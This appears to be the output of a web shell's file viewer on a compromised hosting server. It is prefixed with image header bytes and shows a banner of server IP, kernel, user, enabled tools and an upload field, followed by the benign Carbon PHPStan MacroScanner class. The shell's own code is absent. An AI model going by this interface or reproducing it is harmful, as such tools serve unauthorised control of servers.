����JFIF��x�x����'
| Server IP : 78.140.185.180 / Your IP : 216.73.216.169 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/././././public_html/vendor/nesbot/carbon/src/Carbon/PHPStan/ |
Upload File : |
<?php
namespace Carbon\PHPStan;
use Carbon\CarbonInterface;
use ReflectionClass;
use ReflectionException;
final class MacroScanner
{
/**
* Return true if the given pair class-method is a Carbon macro.
*
* @param string $className
* @phpstan-param class-string $className
*
* @param string $methodName
*
* @return bool
*/
public function hasMethod(string $className, string $methodName): bool
{
return is_a($className, CarbonInterface::class, true) &&
\is_callable([$className, 'hasMacro']) &&
$className::hasMacro($methodName);
}
/**
* Return the Macro for a given pair class-method.
*
* @param string $className
* @phpstan-param class-string $className
*
* @param string $methodName
*
* @throws ReflectionException
*
* @return Macro
*/
public function getMethod(string $className, string $methodName): Macro
{
$reflectionClass = new ReflectionClass($className);
$property = $reflectionClass->getProperty('globalMacros');
$property->setAccessible(true);
$macro = $property->getValue()[$methodName];
return new Macro(
$className,
$methodName,
$macro
);
}
}